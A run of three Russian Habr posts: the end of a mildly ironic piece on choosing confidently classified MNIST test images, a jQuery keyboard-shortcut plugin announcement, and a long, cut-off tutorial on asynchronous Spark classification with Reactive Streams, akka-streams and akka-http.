model.compile(loss="categorical_crossentropy", optimizer="adam", metrics=["accuracy"])
model.fit(x_train, y_train, batch_size=batch_size, epochs=epochs, verbose=2)
```
изменим только всего лишь один параметр — batch\_size = 512. Благо карта позволяет.
Проверим результат:
```
score = model.evaluate(x_test, y_test, verbose=0)
print("Test loss:", score[0])
print("Test accuracy:", score[1])
Test loss: 0.028873076662421227
Test accuracy: 0.9898999929428101
```
Так себе результат, бывает и лучше.
И вот теперь, когда на руках не очень хорошо обученная сеть и слабенький результат, попробуем применить интуицию или то, что автор называет интуицией.
Выберем, конечно же интуитивно, некоторое множество из тестовых картинок и проверим, как на этих картинках работает наша сеть:
```
pred = model.predict(x_test)
idx = np.argwhere(
np.array(
[
pred[x, np.argsort(pred, axis=1)[x, -1]]
- pred[x, np.argsort(pred, axis=1)[x, -2]]
for x in range(pred.shape[0])
]
)
> 0.999
).reshape(-1)
print(idx.shape)
score = model.evaluate(x_test[idx], y_test[idx], verbose=0)
print("Test loss:", score[0])
print("Test accuracy:", score[1])
```
Оказывается мы выбрали только те картинки из тестового множества где сеть дает 100% результат!
```
Test loss: 0.00011477641965029761
Test accuracy: 1.0
```
Обратите внимание, мы учили сеть на TRAIN, а точки интуитивно выбрали из TEST.
Никакого подвоха и сеть не могла подсмотреть.
Но на выбранном множестве картинок результат с accuracy: 1.0
Не буду сейчас обсуждать практическую или теоретическую часть описанного выше явления или, если угодно, свойства сети.
Но факт есть и ничем и никак не обоснованное решение позволяет выбрать точно распознаваемые картинки и сосредоточиться на распознавании оставшихся.
Их кстати меньше половины.
Можно конечно внести изменения и если снизить требования к интуиции ну хоть до 0.99 то мы пропустим только одну или две картинки, но выберем около 9500.
Оставшиеся 500 можно изучить глазами и сделать тонкую настройку сети и подобающую аугментацию.
Уверен, что правильное применение интуиции AI в таком тонком и сложном вопросе как машинное обучение и искусственный интеллект, несомненно добавит точности вашим сетям. | https://habr.com/ru/post/550032/ | null | ru | null |
# jQuery.keyboard v0.1.0
У меня есть на примете как минимум два проекта, в которых понадобится активное управление с помощью клавиатуры. Поэтому, я сел и написал удобный и красивый плагин для jQuery, который выкладываю во всеобщий доступ под свободной лицензией LGPL.
Изначально я его писал практически без использования jQuery, но почти под конец разработки переписал всё, как плагин. Дело в том, что я активно использую этот фреймворк в своих проектах, потому мне так удобнее. Тем, кто обходится без jQuery я оставил свои предыдущие наработки, но их придётся подпилить напильником. Если кто-то сделает красиво, то, думаю, ему будут все благодарны.
Это мой первый плагин на jQuery, потому обоснованная критика приветствуется. Возможно, я что-то написал не так — принимаются исправления в виде патчей.
Примеры
-------
> `$(document)
>
> .keyboard('5', function () {
>
> alert('5');
>
> })
>
> .keyboard(['ctrl', 'alt'], function () {
>
> alert('ctrl alt');
>
> })
>
> .keyboard(['x', 'c', 'v'], function () {
>
> alert('just xcv');
>
> }, true /\* If only this keys are active \*/);
>
>
>
> $('textarea').keyboard('ctrl enter', sendmsg);
>
>
>
> // Снимаем действие
>
> $(document).keyboard('ctrl alt');`
По-моему, всё очень просто и очевидно.
В качестве третьего парамета принимается булево значение — single. Если передано 1(true), то будет проверка на то, не нажаты ли какие либо еще клавиши кроме необходимых. Например, выбрано «ctrl-enter». Пользователь зажимает «ctrl-alt-enter». При отсутствии этого параметра действие совершится, если параметр правдив — действие не совершится.
Если тип переданого параметра или элемента массива — number(но не string с числом), то он будет расценен, как event.keyCode
Записи «['key1', 'key2']» и «'key1 key2'» — равнозначны
Нерешённая проблема
-------------------
1. Если пользователь держит нажатую клавишу(например, «shift»), то при нажатии на другие клавиши будет выполнятся действие, которое повешено на на эту клавишу (в данном случае на «shift»). Это обходится установкой третьего параметра в true, но надо будет придумать более красивое решение.
Ссылки
------
#### [Проект на гуглокоде](http://code.google.com/p/jquerykeyboard/)
[Демо](http://freecr.ru/jquery.keyboard/)
[Обсуждение следующей версии](http://habrahabr.ru/blogs/jquery/77021/)
В архиве, в исходниках, есть мои наработки без использования jQuery | https://habr.com/ru/post/76424/ | null | ru | null |
# Классификация больших объемов данных на Apache Spark с использованием произвольных моделей машинного обучения
Часть 2: Решение
----------------
И снова здравствуйте! Сегодня я продолжу свой рассказ о том, как мы классифицируем большие объёмы данных на Apache Spark, используя произвольные модели машинного обучения. В [первой части статьи](https://habr.com/company/lanit/blog/413137/) мы рассмотрели саму постановку задачи, а также основные проблемы, которые возникают при организации взаимодействия между кластером, на котором хранятся и обрабатываются исходные данные, и внешним сервисом классификации. Во второй части мы рассмотрим один из вариантов решения данной задачи с использованием подхода Reactive Streams и его реализации с использованием библиотеки akka-streams.
[](https://habr.com/company/lanit/blog/413141/)
### Понятие Reactive Streams
Для решения проблем, описанных в первой части, можно использовать подход, получивший название [Reactive Streams](http://www.reactive-streams.org/). Он позволяет управлять процессом передачи потоков данных между этапами обработки, работающими с разной скоростью и независимо друг от друга без необходимости буферизации. В случае, если одна из стадий обработки является более медленной, чем предыдущая, то необходимо сигнализировать более быстрой стадии о том, какой объем входных данных она готова обработать в данный момент. Такое взаимодействие получило название backpressure. Оно заключается в том, что более быстрые стадии обрабатывают ровно столько элементов, сколько требуется для работы более медленной стадии, и не больше, а затем освобождают вычислительные ресурсы.
В целом, Reactive Streams представляет собой спецификацию для реализации шаблона [Publisher-Subscriber](https://en.wikipedia.org/wiki/Publish%E2%80%93subscribe_pattern). Эта спецификация определяет набор из четырех интерфейсов (Publisher, Subscriber, Processor и Subscription) и контракт на их методы.
Рассмотрим эти интерфейсы более подробно:
```
public interface Publisher {
public void subscribe(Subscriber super T s);
}
public interface Subscriber {
public void onSubscribe(Subscription s);
public void onNext(T t);
public void onError(Throwable t);
public void onComplete();
}
public interface Subscription {
public void request(long n);
public void cancel();
}
public interface Processor extends Subscriber, Publisher { }
```
В модели Publisher-Subscriber есть две стороны: передающая и принимающая. При реализации Reactive Streams за передачу данных отвечает класс, реализующий интерфейс Publisher, а за прием – Subscriber. Для установки связи между ними Subscriber должен быть зарегистрирован у Publisher-а путем вызова у него метода subscribe. Согласно спецификации, после регистрации Subscriber-а Publisher обязан вызывать его методы в следующем порядке:
1. onSubscribe. Данный метод вызывается сразу же после регистрации Subscriber-а в Publisher-е. В качестве параметра ему передается объект Subscription, через который Subscriber будет запрашивать данные у Publisher-а. Этот объект должен храниться и вызываться только в контексте данного Subscriber-а.
2. После того, как Subscriber запросил данные у Publisher-а через вызов метода request у соответствующего объекта Subscription, Publisher может вызвать у Subscriber-а метод onNext, передав следующий элемент.
3. Далее Subscriber может периодически вызывать метод request у Subscription, Publisher же не может вызвать метод onNext больше, чем суммарно было запрошено через метод request.
4. В случае, если поток данных является конечным, после передачи всех элементов через метод onNext Publisher должен вызвать метод onComplete.
5. В случае, если в Publisher-е произошла ошибка и дальнейшая обработка элементов не представляется возможной, он должен вызвать метод onError
6. После вызова методов onComplete или onError дальнейшее взаимодействие Publisher-а с Subscriber-ом должно быть исключено.
Вызовы методов могут быть рассмотрены как отправка сигналов между Publisher-ом и Subscriber-ом. Subscriber сигнализирует Publisher-у о том, какое количество элементов он готов обработать, а Publisher, в свою очередь, сигнализирует ему о том, что либо есть следующий элемент, либо больше нет элементов, либо произошла некоторая ошибка.
Для того, чтобы исключить иное влияние Publisher-а и Subscriber-а друг на друга, вызовы всех методов, реализующих интерфейсы Reactive Streams, должны быть неблокирующими. В этом случае взаимодействие между ними будет полностью асинхронным.
Более подробно со спецификацией на интерфейсы Reactive Streams можно ознакомиться [здесь](https://github.com/reactive-streams/reactive-streams-jvm/#specification).
Таким образом, связав исходный и результирующий итераторы через преобразование их в Publisher и Subscriber соответственно, мы можем решить проблемы, обозначенные в предыдущей части статьи. Проблема переполнения буфера между стадиями решается запросом определенного количества элементов Subscriber-ом. Проблема успешного или неуспешного завершения решается путем отправки сигналов Subscriber-у через методы onComplete или onError соответственно. Ответственным за отправку этих сигналов становится Publisher, который в нашем случае должен контролировать, сколько HTTP запросов было отправлено и на сколько из них были получены ответы. После получения последнего ответа и обработки всех пришедших в нем результатов он должен послать сигнал onComplete. В случае, если один из запросов завершился с ошибкой, он должен послать сигнал onError, и прекратить дальнейшую отправку элементов Subscriber-у, а также вычитывание элементов из исходного итератора.
Результирующий итератор должен быть реализован как Subscriber. В этом случае нам не обойтись без буфера, в который будут записываться элементы при вызове метода onNext из интерфейса Subscriber, и вычитываться при помощи методов hasNext и next из интерфейса Iterator. В качестве реализации буфера можно использовать блокирующую очередь, например, LinkedBlockedQueue.
Внимательный читатель сразу же задаст вопрос: почему блокирующая очередь, ведь по спецификации Reactive Streams реализация всех методов должна быть неблокирующей? Но с этим здесь все в порядке: так как мы запрашиваем у Publisher-а строго определенное количество элементов, то метод onNext будет вызван не больше этого количества раз, и очередь всегда сможет добавить новый элемент без блокировки.
С другой стороны, блокировка может возникнуть при вызове метода hasNext в случае пустой очереди. Однако и с этим все в порядке: метод hasNext не является частью контракта интерфейса Subscriber, он определен в интерфейсе Iterator, который, как мы уже выяснили ранее, является блокирующей структурой данных. При вызове метода next мы вычитываем следующий элемент из очереди, и когда ее размер станет меньше определенного порога, мы должны будем запросить следующую порцию элементов через вызов метода request.
*Рисунок 7. Асинхронное взаимодействие с внешним сервисом, используя подход Reactive Streams*
Конечно, в данном случае мы полностью не избавимся от блокирующих вызовов. Это вызвано несоответствием парадигм между Reactive streams, которые предполагают полностью асинхронное взаимодействие, и итератором, который на вызов метода hasNext должен обязательно вернуть true или false. Однако в отличие от синхронного взаимодействия с внешним сервисом время простоя из-за блокировок можно существенно сократить, повысив общую загрузку ядер процессора.
Было бы удобно, если бы разработчики Apache Spark в будущих версиях реализовали аналог метода mapPartitions, работающего с Publisher и Subscriber. Это позволило бы реализовать полностью асинхронное взаимодействие, исключив таким образом возможность блокировки потоков.
### Akka-streams и akka-http как реализация спецификации Reactive Streams
В настоящее время существует уже более десятка реализаций спецификации Reactive Streams. Одной из таких реализаций является модуль akka-streams из библиотеки [akka](https://akka.io/). В мире JVM akka зарекомендовала себя как одно из наиболее эффективных средств для написания параллельных и распределенных систем. Это достигается за счет того, что основным принципом, заложенным в её основу, является [модель акторов](https://en.wikipedia.org/wiki/Actor_model), которая позволяет писать высококонкурентные приложения без прямого управления потоками и их пулами.
Про реализацию концепции акторов в akka написано достаточно большое количество литературы, поэтому не будем здесь на этом останавливаться (очень хорошим источником информации является [официальный сайт akka](https://doc.akka.io/docs/akka/current/), также рекомендую книгу [akka in action](https://www.manning.com/books/akka-in-action)). Здесь же более подробно рассмотрим технологическую сторону реализации под JVM.
В целом, акторы не существуют сами по себе, а образуют иерархическую систему. Для того, чтобы создать систему акторов, необходимо выделить под нее ресурсы, поэтому первым шагом при работе с akka является создание экземпляра объекта ActorSystem. При запуске ActorSystem создаётся отдельный пул потоков, называемый диспетчером (dispatcher), в которых и выполняется весь код, определенный в акторах. Как правило, один поток выполняет код множества акторов, однако при необходимости можно сконфигурировать отдельный диспетчер под определенную группу акторов (например, для акторов, непосредственно взаимодействующих с блокирующим API).
Одной из наиболее распространенных задач, решаемых с применением акторов, является последовательная обработка потоков данных. Раньше для этого приходилось вручную строить цепочки из акторов и следить за тем, чтобы между ними не возникало узких мест (например, если один актор обрабатывает сообщения быстрее, чем следующий, то у него может возникнуть переполнение очереди входящих сообщений, приводящее к ошибке OutOfMemoryError).
Начиная с версии 2.4, в akka был добавлен модуль akka-streams, который позволяет декларативно определить процесс обработки данных, а затем создать необходимые акторы для его исполнения. В akka-streams также реализован принцип backpressure, благодаря которому исключается возможность переполнения очереди входящих сообщений у всех участвующих в процессе обработки акторов.
Основными элементами для определения схемы обработки потоков данных в akka-streams являются Source, Flow и Sink. Путем их комбинации между собой мы получаем граф операций (Runnable Graph). Для запуска процесса обработки используется материализатор, который создает акторы, работающие в соответствии с определенным нами графом (интерфейс Materializer и его реализация ActorMaterializer).
Рассмотрим стадии Source, Flow и Sink более подробно. Source определяет источник данных. Akka-streams поддерживает более десятка различных способов создания источников, в том числе и из итератора:
```
val featuresSource: Source[Array[Float], NotUsed] = Source.fromIterator { () =>
featuresIterator
}
```
Также Source можно получить путем преобразования имеющегося источника:
```
val newSource: Source[String, NotUsed] = source.map(item => transform(item))
```
В случае, если преобразование является нетривиальной операцией, ее можно представить в виде сущности Flow. Akka-streams поддерживает множество различных способов создания Flow. Самым простым способом является создание из функции:
```
val someFlow: Flow[String, Int, NotUsed] = Flow.fromFunction((x: String) => x.length)
```
Объединив Source и Flow, мы получаем новый Source.
```
val newSource: Source[Int, NotUsed] = oldSource.via(someFlow)
```
В качестве финальной стадии обработки данных используется Sink. Как и в случае с Source, akka-streams предоставляет более десятка различных вариантов Sink, например, Sink.foreach выполняет определенную операцию для каждого элемента, Sink.seq собирает все элементы в коллекцию и т.д.
```
val printSink: Sink[Any, Future[Done]] = Sink.foreach(println)
```
Source, Flow и Sink параметризованы типами входных и/или выходных элементов соответственно. Помимо этого, каждая стадия обработки может иметь некоторый результат своей работы. Для этого Source, Flow и Sink также параметризованы дополнительным типом, определяющим результат операции. Этот тип называется типом материализуемого значения. В случае, если операция не предполагает наличие дополнительного результата своей работы, например, когда мы определяем Flow через функцию, то в качестве материализуемого значения используется тип NotUsed.
Объединив между собой необходимые Source, Flow и Sink, мы получаем RunnableGraph. Он параметризован одним типом, определяющим тип значения, получаемым в результате выполнения данного графа. В случае необходимости при объединении стадий можно указать, результат работы какой из стадий будет являться результатом выполнения всего графа операций. По умолчанию берется результат выполнения стадии Source:
```
val graph: RunnableGraph[NotUsed] = someSource.to(Sink.foreach(println))
```
Однако если для нас больше важен результат выполнения стадии Sink, то мы должны это явно указать:
```
val graph: RunnableGraph[Future[Done]] =
someSource.toMat(Sink.foreach(println))(Keep.right)
```
После того, как мы определили граф операций, мы должны его запустить. Для этого у RunnableGraph необходимо вызвать метод run. В качестве параметра этот метод принимает объект ActorMaterializer (который также может находиться в implicit scope), отвечающий за создание акторов, которые будут выполнять операции. Как правило, ActorMaterializer создается сразу же после создания ActorSystem, привязан к ее жизненному циклу и использует ее для создания акторов. Рассмотрим пример:
```
//здесь создается новая ActorSystem, под нее выделяется отдельный пул потоков
implicit val system = ActorSystem(“system name”)
//Создаем материализатор, который будет создавать акторы в нашей ActorSystem
implicit val materializer = ActorMaterializer()
//Определяем граф операций и указываем, что нам важен результат выполнения стадии Sink
val graph: RunnableGraph[Future[immutable.Seq[Int]]] =
Source.fromIterator(() => (1 to 10).iterator).toMat(Sink.seq)(Keep.right)
//Запускаем граф на выполнение, используя материализатор из implicit scope.
val result: Future[immutable.Seq[Int]] = graph.run()
```
В случае простых комбинаций можно обойтись без создания отдельного RunnableGraph, а просто подключить Source к Sink и запустить их вызовом метода runWith у Source. Данный метод также предполагает, что в implicit scope присутствует объект ActorMaterializer. Кроме того, в этом случае будет использовано материализуемое значение, определенное в Sink. Например, при помощи следующего кода мы можем преобразовать Source в Publisher из спецификации Reactive Streams:
```
val source: Source[Score, NotUsed] =
Source.fromIterator(() => sourceIterator).map(item => transform(item))
val publisher: Publisher[Score] = source.runWith(Sink.asPublisher(false))
```
Итак, сейчас мы показали, как можно получить Reactive Streams Publisher путем создания Source из исходного итератора и выполнив некоторые преобразования над его элементами. Теперь мы можем связать его с Subscriber-ом, поставляющим данные в результирующий итератор. Осталось рассмотреть последний вопрос: как организовать HTTP взаимодействие с внешним сервисом.
В состав akka входит модуль [akka-http](https://doc.akka.io/docs/akka-http/current/), который позволяет организовать асинхронное неблокирующее взаимодействие по HTTP. Кроме того, этот модуль построен на основе akka streams, что позволяет добавить HTTP-взаимодействие как дополнительную стадию в графе операций по обработке потока данных.
Для подключения к внешним сервисам akka-http предоставляет три различных интерфейса.
1. Request-Level API ‑ является наиболее простым вариантом для случая единичных запросов к произвольной машине. На этом уровне управление HTTP-соединениями происходит полностью автоматически, а в каждом запросе необходимо передавать полный адрес машины, к которой идет запрос.
2. Host-Level API – подходит в случае, когда мы знаем, к какому порту на какой машине мы будем обращаться. В этом случае akka-http берет на себя управление пулом HTTP-соединений, а в запросах достаточно указать относительный путь к запрашиваемому ресурсу.
3. Connection-Level API – позволяет получить полный контроль над управлением HTTP-соединениями, то есть их открытием, закрытием, и распределением запросов по соединениям.
В нашем случае адрес сервиса классификации нам заранее известен, поэтому необходимо организовать HTTP-взаимодействие только с этой конкретной машиной. Следовательно, для нас лучше всего подходит Host-Level API. Теперь рассмотрим, как происходит создание пула HTTP-соединений при его использовании:
```
val httpFlow: Flow[(HttpRequest,Id), (Try[HttpResponse],Id), Http.HostConnectionPool] =
Http().cachedHostConnectionPool[Id](hostAddress, portNumber)
```
При вызове Http().cachedHostConnectionPool[T](hostAddress, portNumber) в ActorSystem, которая находится в implicit scope выделяются ресурсы для создания пула соединений, однако сами соединения не устанавливаются. В качестве значения в результате данного вызова возвращается Flow, который на вход принимает пару из HTTP-запроса и некоторого идентификационного объекта Id. Идентификационный объект нужен для того, чтобы сопоставить запрос с соответствующим ему ответом вследствие того, что HTTP вызов в akka-http является асинхронной операцией, и порядок, в котором поступают ответы, не обязательно соответствует порядку отправки запросов. Поэтому на выходе Flow дает пару из результата выполнения запроса и соответствующего ему идентификационного объекта.
Непосредственно HTTP-соединения устанавливаются тогда, когда происходит запуск (материализация) графа, включающего в себя данный Flow. Akka-http реализована так, что независимо от того, сколько раз были материализованы графы, содержащие httpFlow, в рамках одной ActorSystem всегда будет один общий пул HTTP-соединений, который будет использоваться всеми материализациями. Это позволяет лучше контролировать использование сетевых ресурсов и избегать их перегрузки.
Таким образом, жизненный цикл пула HTTP-соединений привязан к ActorSystem. Как уже было упомянуто ранее, к ней также привязан жизненный цикл пула потоков, в которых выполняются операции, определенные в акторах (или в нашем случае определенные как стадии akka-streams и akka-http). Следовательно, для достижения максимальной эффективности мы должны переиспользовать один экземпляр ActorSystem в рамках одного JVM процесса.
### Putting this all together: пример реализации взаимодействия с сервисом классификации
Итак, теперь мы можем перейти к рассмотрению процесса классификации больших объемов распределенных данных на Apache Spark с использованием асинхронного взаимодействия с внешними сервисами. Общая схема такого взаимодействия уже была приведена на рисунке 7.
Предположим, что у нас определен некоторый исходный Dataset [Features]. Применяя к нему операцию mapPartitions, мы должны получить Dataset, в котором каждому id из исходного набора проставлено некоторое значение, полученное в результате классификации (Dataset[Score]). Для организации асинхронной обработки на исполнителях мы должны обернуть исходный и результирующий итераторы соответственно в Publisher и Subscriber из спецификации Reactive streams и связать их между собой.
```
case class Features(id: String, vector: Array[Float])
case class Score(id: String, score: Float) //(1)
val batchesRequestCount = config.getInt(“scoreService. batchesRequestCount”)//(2)
//...
val scoreDs: Dataset[Score] = featuresDs.mapPartitions { fi: Iterator[Features] =>
val publisher: Publisher[Iterable[Score]] = createPublisher(fi) //(3)
val iteratorSubscriber: Iterator[Score] =
new IteratorSubscriber(batchesRequestCount) //(4)
publisher.subscribe(batchesRequestCount) //(5)
iteratorSubscriber //(6)
}
```
В данной реализации учтено, что сервис классификации за одно обращение может обработать сразу группу feature-векторов, следовательно, результат классификации после обращения к нему также будет доступен сразу для всей группы. Поэтому в качестве типа-параметра у Publisher у нас не просто Score, как можно было бы ожидать, а Iterable[Score]. Таким образом, мы отправляем в результирующий итератор (являющийся также Subscriber-ом) результаты классификации для этой группы однократным вызовом метода onNext. Это гораздо эффективнее, чем вызывать onNext для каждого элемента. Теперь разберем этот код более детально.
1. Определяем структуру входных и выходных данных. В качестве входных данных у нас будет связка некоторого идентификатора id с feature-вектором, в качестве выходных – связка идентификатора с числовым значением, полученным в результате классификации.
2. Определяем количество групп, которые Subscriber будет запрашивать у Publisher-а за один раз. Так как предполагается, что эти значения будут лежать в буфере и ждать, пока их прочитают из результирующего итератора, то эта величина зависит от объема памяти, выделенного исполнителю.
3. Создаем Publisher из исходного итератора. Он и будет отвечать за взаимодействие с сервисом классификации. Функция createPublisher рассмотрена чуть ниже.
4. Создаем Subscriber, который будет являться результирующем итератором. Код класса IteratorSubscriber также приведен ниже.
5. Регистрируем Subscriber у Publisher-а.
6. Возвращаем IteratorSubscriber в качестве результата операции mapPartitions.
Теперь рассмотрим реализацию функции createPublisher.
```
type Ids = Seq[String] //(1)
val batchSize = config.getInt("scoreService.batchSize")
val parallelismLevel = config.getInt("scoreService.parallelismLevel") //(2)
//...
def createPublisher(fi: Iterator[Features]): Publisher[Iterable[Score]] = {
import ActorSystemHolder._ //(3)
Source
.fromIterator(() => fi) //(4)
.grouped(batchSize) //(5)
.map { groupedFeatures: Seq[Features] =>
val request: (HttpRequest, Ids) = createHttpRequest(groupedFeatures) //(6)
logger.debug(s"Sending request for the first id: ${request._2(0)}")
request
}
.via(httpFlow) //(7)
.flatMapMerge(parallelismLevel, { //(8)
case (Success(response), ids) if response.status.isSuccess() =>
logger.debug(s"Processing successful result for the first id: ${ids(0)}")
val resultSource: Source[Iterable[Score], _] =
response.entity.dataBytes.reduce(_ ++ _).map { responseBytes =>
processSuccessfulResponse(responseBytes, ids)
} //(9)
resultScore
case (Success(response), ids) =>
logger.warn(
s"Failed result for the first id: ${ids(0)}, HTTP status: ${response.status}"
)
response.discardEntityBytes()
Source.failed(
new IOException(s"Non-successful HTTP status: ${response.status}")
) //(10)
case (Failure(ex), ids) =>
logger.warn(s"Failed result: an exception has occured", ex)
Source.failed(ex) //(11)
})
.runWith(Sink.asPublisher(false)) //(12)
}
def createHttpRequest(featuresSeq: Seq[Features]): (HttpRequest, ProfileIds) = {
val requestBytes: Array[Byte] = featuresToMatrixBytes(featuresSeq)
val ids: ProfileIds = extractIds(featuresSeq)
val httpRequest = HttpRequest(
method = HttpMethods.PUT,
uri = "/score",
entity = requestBytes
)
httpRequest -> ids
}
```
1. Здесь мы определяем тип-алиас для списка идентификаторов, входящих в группу. Он нужен в первую очередь для удобства использования httpFlow, чтобы мы могли сопоставить результат классификации для группы с соответствующими идентификаторами.
2. Получаем необходимые параметры из конфигурации: число исходных элементов в группе, отправляемой в одном запросе (batchSize) и уровень параллелизма для стадии обработки ответов (parallelismLevel).
3. Импортируем в implicit scope ActorSystem, ActorMaterializer и httpFlow. Данные объекты являются глобальными в контексте отдельного Spark-исполнителя. Объект ActorSystemHolder будет рассмотрен чуть ниже.
4. Здесь начинается определение стадий akka-streams для организации взаимодействия. Для начала мы создаем Source[Features] из исходного итератора.
5. Затем мы объединяем исходные элементы в группы размером не более величины batchSize для отправки одним запросом во внешний сервис.
6. После этого мы создаем HttpRequest и связываем его со списком идентификаторов группы. За формирование HttpRequest из исходных данных отвечает функция createHttpRequest. Ее код приведен после метода createPublisher. В ней мы берем все feature-векторы, входящие в группу, и объединяем их в матрицу (которая на стороне сервиса классификации будет передана в качестве аргумента для метода predict). Затем мы сериализуем ее в массив байтов, который будет передан в теле HTTP-запроса. Далее выделяется последовательность идентификаторов для группы, и формируется HTTP-запрос, в котором указываются HTTP-метод, URI ресурса для классификации и тело запроса.
7. Отправляем полученный запрос ко внешнему сервису используя httpFlow.
8. Далее следует стадия обработки ответов, полученных от сервиса. Для этого мы используем операцию flatMapMerge, так как бинарное представление тела ответа в akka-http представлено в виде Source[ByteString], который мы должны преобразовать таким образом, чтобы он содержал результаты классификации для группы. После этого мы должны подключить его к нашему основному графу операций. Параметр parallelismLevel определяет, сколько ответов может обрабатываться одновременно (смотри схему в конце данного раздела). Мы рассмотрим три варианта результата HTTP-взаимодействия: получение успешного ответа, получение ответа, содержащего ошибку, и ошибка коммуникации.
9. Обработка результата успешного выполнения происходит следующим образом: сначала мы объединяем все части тела ответа в один массив. Для представления бинарных массивов в akka есть специальный класс ByteString. Он реализован таким образом, что конкатенация двух ByteString является операцией с O(1), то есть два ByteString просто связываются друг с другом без копирования содержимого. Так как мы знаем максимальный размер группы, то мы можем гарантировать, что объединение всех частей ответа не вызовет переполнение памяти. После получения массива со всеми байтами ответа мы объединяем его со списком идентификаторов и формируем коллекцию, содержащую результаты классификации для группы.
10. В случае получения ответа с неуспешным HTTP-статусом мы должны прекратить дальнейшую обработку, завершив Stream ошибкой. В этом случае нас не интересует содержание тела запроса, поэтому мы должны вызвать метод discardEntityBytes у ответа для того, чтобы освободить ресурсы пула, занимаемые им.
11. В случае ошибки коммуникации мы также должны прекратить обработку. При проблемах на уровне коммуникации akka-http автоматически пытается повторить запрос, однако при превышении определенного порога выбрасывает исключение.
12. Здесь происходит материализация всего процесса обработки данных, результатом которой является Publisher, отдающий результаты классификации для групп. Именно здесь запускаются акторы, отвечающие за его работу. Параметр false у метода Sink.asPublisher показывает, что результирующий Publisher поддерживает только одного Subscriber-а.
Как мы отметили в предыдущем разделе, для работы с akka нужна ActorSystem, которую необходимо один раз создать и затем переиспользовать. К сожалению, у нас нет возможности вызвать глобальное окружение Spark исполнителя, но мы можем прибегнуть к стандартным методам создания глобальных объектов. Так как Spark исполнитель является отдельным JVM процессом, следовательно, в рамках него мы можем создать глобальный объект, в котором будем хранить ActorSystem и использующие её ActorMatrializer и httpFlow.
```
object ActorSystemHolder {
implicit lazy val actorSystem: ActorSystem = { //(1)
val actorSystemName = s"score-service-client"
logger.debug(s"Creating actor system $actorSystemName")
val as = ActorSystem(actorSystemName) //(2)
logger.debug("Adding shutdown hook for the actor system")
scala.sys.addShutdownHook { //(3)
logger.debug(s"Terminating actor system $actorSystemName")
Await.result(as.terminate(), 30.seconds) //to Mars :)
logger.debug(s"The actor system $actorSystemName has been terminated")
}
as
}
implicit lazy val materializer: ActorMaterializer = { //(4)
logger.debug(s"Creating actor materializer for actor system ${actorSystem.name}")
ActorMaterializer()
}
lazy val httpFlow: Flow[
(HttpRequest,ProfileIds),
(Try[HttpResponse], ProfileIds),
Http.HostConnectionPool] = { //(5)
val httpFlowSettings = ConnectionPoolSettings(actorSystem)
logger.debug(s"Creating http flow with settings $httpFlowSettings")
Http().cachedHostConnectionPool[ProfileIds](
config.getString("scoreService.host"),
config.getInt("scoreService.int"),
settings = httpFlowSettings
)
}
}
```
1. Все глобальные переменные мы создаем, используя ленивую инициализацию, то есть фактически они будут созданы тогда, когда будут первый раз востребованы.
2. Здесь создается новая ActorSystem с определенным именем.
3. Для того, чтобы корректно завершить все процессы, исполняемые в рамках ActorSystem, мы должны вызвать у нее метод terminate, который, в свою очередь, остановит все акторы, используя их стандартный механизм остановки. Для этого мы должны зарегистрировать хук, вызываемый при завершении работы JVM-процесса.
4. Далее мы создаем ActorMaterializer, который будет запускать выполнение процессов akka-streams, используя нашу ActorSystem.
5. Наконец, мы создаем httpFlow для взаимодействия с внешним сервисом. Как было упомянуто в предыдущем разделе, здесь мы выделяем ресурсы для пула HTTP-соединений в рамках ActorSystem.
Теперь рассмотрим реализацию результирующего итератора как Subscriber-а у нашего процесса HTTP-взаимодействия.
```
sealed trait QueueItem[+T]
case class Item[+T](item: T) extends QueueItem[T]
case object Done extends QueueItem[Nothing]
case class Failure(cause: Throwable) extends QueueItem[Nothing] //(1)
class StreamErrorCompletionException(cause: Throwable) extends Exception(cause) //(2)
class IteratorSubscriber[T](requestSize: Int)
extends Subscriber[Iterable[T]]
with Iterator[T] { //(3)
private val buffer: BlockingQueue[QueueItem[Iterable[T]]] =
new LinkedBlockingQueue[QueueItem[Iterable[T]]]() //(4)
private var expecting: Int = 0 //(5)
private val subscriptionPromise: Promise[Subscription] = Promise()
private lazy val subscription: Subscription =
Await.result(subscriptionPromise.future, 5.minutes) //(6)
private var currentIterator: Iterator[T] = Iterator.empty //(7)
private var isDone = false //(8)
override def onSubscribe(s: Subscription): Unit = {
subscriptionPromise.success(s) //(9)
logger.trace("The iterator has been subscribed")
}
override def onNext(t: Iterable[T]): Unit = {
logger.trace("Putting a next batch to the buffer")
buffer.put(Item(t)) //(10)
}
override def onComplete(): Unit = {
logger.debug("The stream has been succesfully completed")
buffer.put(Done) //(11)
}
override def onError(t: Throwable): Unit = {
logger.warn("The stream has been completed with error", t)
buffer.put(Failure(t)) //(12)
}
override def hasNext: Boolean = {
logger.trace("Asking hasNext")
if (currentIterator.hasNext) { //(13)
true
} else if (isDone) { //(14)
false
} else {
if (expecting < requestSize) {
requestNextBatches() //(15)
}
buffer.take() match { //(16)
case Item(batch) =>
currentIterator = batch.iterator
expecting -= 1
this.hasNext //(17)
case Done =>
isDone = true
false //(18)
case Failure(exception) =>
throw new StreamErrorCompletionException(exception) //(19)
}
}
}
override def next(): T = {
val out = currentIterator.next()
logger.trace("The next element is {}", out)
out //(20)
}
private def requestNextBatches(): Unit = {
logger.debug(s"Requesting {} batches", requestSize)
subscription.request(requestSize)
expecting += requestSize //(21)
}
}
```
Класс IteratorSubscriber является реализацией модели Producer-Consumer. Та его часть, которая реализует интерфейс Subscriber, является Producer-ом, а та, которая реализует Iterator, – Consumer-ом. В качестве средства коммуникации используется буфер, реализованный в виде блокирующей очереди. Методы из интерфейса Iterator вызываются в потоке из пула исполнителя Apache Spark, а методы интерфейса Subscriber – в пуле, принадлежащем ActorSystem.
Теперь рассмотрим приведенный код реализации IteratorSubscriber более подробно.
1. Для начала мы определяем алгебраический тип данных для элементов буфера. В буфере у нас могут лежать либо следующая группа элементов, либо признак успешного завершения Done, либо признак неуспешного завершения, содержащий Throwable, который послужил причиной ошибки.
2. Также мы определяем класс для исключения, который мы должны будем выбросить из метода hasNext в случае неуспешного завершения.
3. Определяем конструктор, который принимает количество групп, которые будем запрашивать за один раз у Publisher-а.
4. Создаем экземпляр блокирующей очереди, используемой в качестве коммуникационного буфера. Так как используется LinkedBlockingQueue, то размер буфера потенциально не ограничен. Следовательно, мы можем класть туда элементы без необходимости блокировки потока.
